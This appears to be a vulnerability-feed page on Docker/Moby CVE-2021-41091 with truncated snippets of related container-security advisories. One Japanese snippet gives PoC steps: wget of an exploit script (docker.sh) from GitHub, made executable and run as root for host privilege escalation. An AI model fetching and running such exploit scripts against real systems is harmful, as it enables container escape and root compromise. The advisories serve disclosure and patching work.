CVE-2021-41091

CVE-2021-41091 このエクスプロイトは、CVE-2021-41091 のセキュリティ脆弱性について詳しく解説し、エクスプロイトスクリプトを利用してホスト上で権限昇格を達成するための手順を段階的に説明します。 脆弱性の概要 CVE-2021-41091 は Moby（Docker Engine）の欠陥で、権限の制限が適切でないため、特権のない Linux ユーザーがデータディレクトリ（通常は /var/lib/docker）内を移動し、プログラムを実行できるようになります。この脆弱性は、コンテナ内に setuid...

CLEANSTART-2026-FH32149 Moby is an open source container framework

Security vulnerability affects the docker-cli-buildx package. Moby is an open source container framework...

CVE-2026-37236 affecting package moby-containerd-cc for versions less than 1.7.7-17

CVE-2026-37236 affecting package moby-containerd-cc for versions less than 1.7.7-17. A patched version of the package is available...

Rocky Linux 8 [CIQ] Security Update: aardvark-dns / cockpit-podman / conmon / conmon-debuginfo / etc Multiple Vulnerabilities (crlsa-2024_2988)

The Rocky Linux 8 host has packages installed that are affected by multiple vulnerabilities as referenced in the CIQ crlsa-20242988 advisory. urllib3: urllib3 does not remove the authorization HTTP header when following a cross-origin redirect CVE-2018-25091 golang: math/big.Rat: may cause a pani...

CLEANSTART-2026-KB70084 Moby is an open source container framework developed by Docker Inc

Security vulnerability affects the crane package. Moby is an open source container framework developed by Docker Inc...

CLEANSTART-2025-DA74849 Moby is an open-source project created by Docker to enable and accelerate software containerization

Security vulnerability affects the containerd package. Moby is an open-source project created by Docker to enable and accelerate software containerization...

CLEANSTART-2026-BP86434 Moby is an open source container framework

Security vulnerability affects the kubernetes package. Moby is an open source container framework...

CLEANSTART-2026-GL76811 Moby is an open source container framework

Security vulnerability affects the kubernetes package. Moby is an open source container framework...

Important: runfinch-finch

Issue Overview: A custom client can produce such an upload request to the BuildKit daemon that files can escape from the BuildKit-controlled state directory. The client needs to have valid permissions to access the BuildKit control API to issue builds, e.g., bypass authentication, etc...

Amazon Linux 2023 : runfinch-finch (ALAS2023-2026-3140)

It is, therefore, affected by multiple vulnerabilities as referenced in the ALAS2023-2026-3140 advisory. A custom client can produce such an upload request to the BuildKit daemon that files can escape from the BuildKit-controlled state directory. The client needs to have valid permissions to acce...

Amazon Linux 2 : runfinch-finch (ALASDOCKER-2026-142)

The version of runfinch-finch installed on the remote host is prior to 1.19.0-1. It is, therefore, affected by multiple vulnerabilities as referenced in the ALAS2DOCKER-2026-142 advisory. A custom client can produce such an upload request to the BuildKit daemon that files can escape from the...

CVE-2021-41091

CVE-2021-41091 Moby（Docker Engine）のバグにより、権限のないユーザーがディレクトリを横断し、コンテナ内のプログラムをホストマシン上で直接実行できる可能性があります。コンテナ内にSUIDプログラムが存在する場合、ユーザーはホストマシン上でそれをSUIDとして実行できます。 PoC コンテナのターミナルで docker.sh ファイルをダウンロードし、rootユーザーとして実行します: wget https://raw.githubusercontent.com/jrbH4CK/CVE-2021-41091/main/docker.sh chmod +x...

CVE-2026-34040-PoC

CVE-2026-34040 — Docker/Moby AuthZ プラグイン バイパス（ラボ PoC） KO: Docker（Moby）の認可（AuthZ）プラグインを 1MB を超えるリクエストボディ でバイパスする脆弱性の実習用再現プロジェクトです。 EN: Docker（Moby）の認可（AuthZ）プラグインを 1MB を超えるリクエストボディ でバイパスする脆弱性のラボ再現です。 脆弱性の事実 / 脆弱性の詳細 項目| 値 ---|--- CVE| CVE-2026-34040 CVSS 3.1| 8.8（High）—...

Astra Linux – Vulnerability in docker.io-app

The tar extraction routines in moby/go-archive Unpack, UnpackLayer, Untar/UntarUncompressed, and the ApplyLayer helpers do not limit filesystem operations to the destination directory. The extractor determines the location of each archive entry using lexical string checks, and then performs the...

OESA-2026-4082 docker security update

Security Fixes: Moby is an open source container framework. In Docker Engine prior to version 29.5.1, Docker Daemon versions 28.5.2 and prior, and Moby Daemon prior to version 2.0.0-beta.14, a race condition during docker cp mount setup allows a malicious container to create empty files or...

AZL-104081 CVE-2026-53493 affecting package moby-containerd-cc 1.7.7-17

containerd is an open-source container runtime. Prior to versions 1.7.36, 2.0.13, 2.2.9, 2.3.6, and 2.4.1, a crafted OCI index graph can force very high CPU/memory usage during PullImage before container start, causing long ContainerCreating stalls and, at larger sizes, node/runtime instability...

RLSA-2026:69961 Important: podman security update

The podman tool manages pods, container images, and containers. It is part of the libpod library, which is for applications that use container pods. Container pods is a concept in Kubernetes. Security Fixes: podman: Go encoding/asn1: Denial of Service via excessive recursion in Unmarshal...

github.com/moby/go-archive: moby/go-archive: Arbitrary file write via link following in tar extraction

A flaw was found in moby/go-archive. The tar extraction routines in the component do not properly restrict filesystem operations to the intended destination directory. An attacker who controls the contents of an archive can exploit this by including symbolic links, allowing them to create or...

github.com/moby/go-archive: moby/go-archive: Arbitrary file write via link following in tar extraction

A flaw was found in moby/go-archive. The tar extraction routines in the component do not properly restrict filesystem operations to the intended destination directory. An attacker who controls the contents of an archive can exploit this by including symbolic links, allowing them to create or...

ALSA-2026:69961 Important: podman security update

The podman tool manages pods, container images, and containers. It is part of the libpod library, which is for applications that use container pods. Container pods is a concept in Kubernetes. Security Fixes: podman: Go encoding/asn1: Denial of Service via excessive recursion in Unmarshal...